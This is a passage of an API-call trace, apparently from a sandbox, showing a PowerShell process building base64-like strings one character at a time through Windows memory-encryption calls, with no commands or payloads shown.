(param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏恧绹邡ẵ篾掩垺畕") returned 0x18 [0245.369] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.369] SysStringLen (param_1="ZknZOn9sFjDcY2qdxVUQFA௖㓥") returned 0x18 [0245.369] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.369] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏ᣟ灻邈氘Ꝗ\귚୥∎) returned 0x18 [0245.369] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏ᣟ灻邈氘Ꝗ\귚୥∎) returned 0x18 [0245.369] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.370] SysStringLen (param_1="ZknZOn9sFjDcY2qdxVUQFA9㓥") returned 0x18 [0245.370] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.370] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䞀쓢ȧ᧻ퟫ鶢듮") returned 0x18 [0245.370] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䞀쓢ȧ᧻ퟫ鶢듮") returned 0x18 [0245.370] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.370] SysStringLen (param_1="ZknZOn9sFjDcY2qdxVUQFA9K") returned 0x18 [0245.370] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.370] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫") returned 0x18 [0245.370] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫") returned 0x18 [0245.370] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫") returned 0x18 [0245.371] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫") returned 0x20 [0245.371] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.371] SysStringLen (param_1="ZknZOn9sFjDcY2qdxVUQFA9KV\縶鬥嬿쐡郐∞) returned 0x20 [0245.371] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.371] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫⏑௄⭼\凜鬂ಳ≅) returned 0x20 [0245.371] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫⏑௄⭼\凜鬂ಳ≅) returned 0x20 [0245.371] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.371] SysStringLen (param_1="ZknZOn9sFjDcY2qdxVUQFA9KVQ㛫╾㾛⅛탄Ẑ") returned 0x20 [0245.371] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.371] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫쓍䳋륭탗䤪ꑳ膌") returned 0x20 [0245.371] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫쓍䳋륭탗䤪ꑳ膌") returned 0x20 [0245.372] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.372] SysStringLen (param_1="ZknZOn9sFjDcY2qdxVUQFA9KVQD╾㾛⅛탄Ẑ") returned 0x20 [0245.372] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.372] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫뀤쳛䈟μ㵽컕괻") returned 0x20 [0245.372] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫뀤쳛䈟μ㵽컕괻") returned 0x20 [0245.372] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.372] SysStringLen (param_1="ZknZOn9sFjDcY2qdxVUQFA9KVQDe㾛⅛탄Ẑ") returned 0x20 [0245.372] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.372] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫臈십龵疝㆟屐\⋜) returned 0x20 [0245.372] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫臈십龵疝㆟屐\⋜) returned 0x20 [0245.372] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.373] SysStringLen (param_1="ZknZOn9sFjDcY2qdxVUQFA9KVQDeh⅛탄Ẑ") returned 0x20 [0245.373] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.373] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫朌吜\ﻝⲮ遀≭) returned 0x20 [0245.373] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫朌吜\ﻝⲮ遀≭) returned 0x20 [0245.373] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.373] SysStringLen (param_1="ZknZOn9sFjDcY2qdxVUQFA9KVQDehQ탄Ẑ") returned 0x20 [0245.373] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.373] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫칁擎眖\㣘✜ꌓ≊) returned 0x20 [0245.373] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫칁擎眖\㣘✜ꌓ≊) returned 0x20 [0245.373] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.373] SysStringLen (param_1="ZknZOn9sFjDcY2qdxVUQFA9KVQDehQTẐ") returned 0x20 [0245.373] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.374] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫\웙\뫜쨪藸쉨鸪") returned 0x20 [0245.374] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫\웙\뫜쨪藸쉨鸪") returned 0x20 [0245.374] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.374] SysStringLen (param_1="ZknZOn9sFjDcY2qdxVUQFA9KVQDehQTr") returned 0x20 [0245.374] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.374] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎") returned 0x20 [0245.374] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎") returned 0x20 [0245.374] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎") returned 0x20 [0245.374] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎້") returned 0x28 [0245.375] SystemFunction041 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.375] SysStringLen (param_1="ZknZOn9sFjDcY2qdxVUQFA9KVQDehQTra蒭衆権༂ﮁӱ") returned 0x28 [0245.375] SystemFunction040 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.375] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎欖븟ց쩭ష䧕↭") returned 0x28 [0245.375] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎欖븟ց쩭ష䧕↭") returned 0x28 [0245.375] SystemFunction041 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.375] SysStringLen (param_1="ZknZOn9sFjDcY2qdxVUQFA9KVQDehQTra4衆権༂ﮁӱ") returned 0x28 [0245.375] SystemFunction040 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.375] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎뼾Տ쇘࿣숌䴄샮") returned 0x28 [0245.375] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎뼾Տ쇘࿣숌䴄샮") returned 0x28 [0245.375] SystemFunction041 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.375] SysStringLen (param_1="ZknZOn9sFjDcY2qdxVUQFA9KVQDehQTra40権༂ﮁӱ") returned 0x28 [0245.376] SystemFunction040 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.376] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎閏歋ᤤ赅ല᫺엦⧛") returned 0x28 [0245.376] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎閏歋ᤤ赅ല᫺엦⧛") returned 0x28 [0245.376] SystemFunction041 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.376] SysStringLen (param_1="ZknZOn9sFjDcY2qdxVUQFA9KVQDehQTra40f༂ﮁӱ") returned 0x28 [0245.376] SystemFunction040 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.376] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎Ბ齨츸꓌틌订贔") returned 0x28 [0245.376] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎Ბ齨츸꓌틌订贔") returned 0x28 [0245.376] SystemFunction041 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.376] SysStringLen (param_1="ZknZOn9sFjDcY2qdxVUQFA9KVQDehQTra40fmﮁӱ") returned 0x28 [0245.376] SystemFunction040 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.376] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎㛀莭椭ٗ↭텘꯵抍") returned 0x28 [0245.376] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎㛀莭椭ٗ↭텘꯵抍") returned 0x28 [0245.377] SystemFunction041 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.377] SysStringLen (param_1="ZknZOn9sFjDcY2qdxVUQFA9KVQDehQTra40fmoӱ") returned 0x28 [0245.377] SystemFunction040 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.377] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎匨䎚겭屾蘓콞⮋\⋟) returned 0x28 [0245.377] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎匨䎚겭屾蘓콞⮋\⋟) returned 0x28 [0245.377] SystemFunction041 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.377] SysStringLen (param_1="ZknZOn9sFjDcY2qdxVUQFA9KVQDehQTra40fmoUӱ") returned 0x28 [0245.377] SystemFunction040 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.377] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎㹳盨ኁṟ뮼ද鴁鸉") returned 0x28 [0245.377] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎㹳盨ኁṟ뮼ද鴁鸉") returned 0x28 [0245.377] SystemFunction041 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.409] SysStringLen (param_1="ZknZOn9sFjDcY2qdxVUQFA9KVQDehQTra40fmoUe") returned 0x28 [0245.410] SystemFunction040 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.410] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎⴮ஸ钱▝齋租躰冟") returned 0x28 [0245.410] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎⴮ஸ钱▝齋租躰冟") returned 0x28 [0245.411] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎⴮ஸ钱▝齋租躰冟") returned 0x28 [0245.411] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎⴮ஸ钱▝齋租躰冟") returned 0x30 [0245.411] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0245.411] SysStringLen (param_1="ZknZOn9sFjDcY2qdxVUQFA9KVQDehQTra40fmoUew㌭齓ᒤ쾠ﷃ鲤") returned 0x30 [0245.411] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0245.411] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎⴮ஸ钱▝齋租躰冟涨೦ᰛ뾺狠") returned 0x30 [0245.411] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎⴮ஸ钱▝齋租躰冟涨೦ᰛ뾺狠") returned 0x30 [0245.411] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0245.411] SysStringLen (param_1="ZknZOn9sFjDcY2qdxVUQFA9KVQDehQTra40fmoUew1齓ᒤ쾠ﷃ鲤") returned 0x30 [0245.411] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0245.412] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎⴮ஸ钱▝齋租躰冟ɒ歴៦㘚荢崱") returned 0x30 [0245.412] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎⴮ஸ钱▝齋租躰冟ɒ歴៦㘚荢崱") returned 0x30 [0245.412] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0245.412] SysStringLen (param_1="ZknZOn9sFjDcY2qdxVUQFA9KVQDehQTra40fmoUew1s齓ᒤ쾠ﷃ鲤") returned 0x30 [0245.412] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0245.412] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎⴮ஸ钱▝齋租躰冟䪋ᝧ㣑濷辋䫢쯨") returned 0x30 [0245.412] SysStringLen (param_1="᛻햲䈚꟞潌嚱ⴢ驰擯謿첹㉓坱碥吏䆂龰둴霤ꎷ펫텝僤볦洤Ỳ衤䩎⴮ஸ钱▝齋租躰冟䪋ᝧ㣑濷辋䫢쯨") returned 0x30 [0245.412] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0245.412] SysStringLen (param_1="ZknZOn9sFjDcY2qdxVUQFA9KVQDehQTra40fmoUew1s=ᒤ쾠ﷃ鲤") returned 0x30 [0245.412] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0245.412] EtwEventActivityIdControl () returned 0x0 [0245.412] EtwEventActivityIdControl () returned 0x0 [0245.413] EtwEventActivityIdControl () returned 0x0 [0245.413] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.413] EtwEventActivityIdControl () returned 0x0 [0245.413] EtwEventActivityIdControl () returned 0x0 [0245.413] EtwEventActivityIdControl () returned 0x0 [0245.414] SysStringLen (param_1="") returned 0x8 [0245.414] SysStringLen (param_1="N") returned 0x8 [0245.414] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.414] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0245.414] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0245.414] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.415] SysStringLen (param_1="ND") returned 0x8 [0245.415] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.415] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0245.415] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0245.415] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.415] SysStringLen (param_1="NDZ") returned 0x8 [0245.415] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.415] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0245.415] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0245.415] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.415] SysStringLen (param_1="NDZl") returned 0x8 [0245.415] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.416] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0245.416] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0245.416] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.416] SysStringLen (param_1="NDZlO") returned 0x8 [0245.416] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.416] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0245.416] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0245.416] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.416] SysStringLen (param_1="NDZlOD") returned 0x8 [0245.416] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.416] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0245.416] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0245.416] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.417] SysStringLen (param_1="NDZlODR") returned 0x8 [0245.417] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.417] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0245.417] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0245.417] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.417] SysStringLen (param_1="NDZlODRm") returned 0x8 [0245.417] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.417] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0245.418] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0245.418] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0245.418] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0245.418] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.418] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0245.418] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.418] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0245.418] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0245.418] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.419] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0245.419] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.419] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0245.419] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0245.419] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.419] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0245.419] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.419] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0245.419] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0245.419] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.419] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0245.419] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.420] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0245.420] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0245.420] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.420] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0245.420] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.420] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0245.420] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0245.420] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.420] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0245.420] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.420] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0245.420] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0245.421] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.421] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0245.421] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.421] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0245.421] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0245.421] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.421] SysStringLen 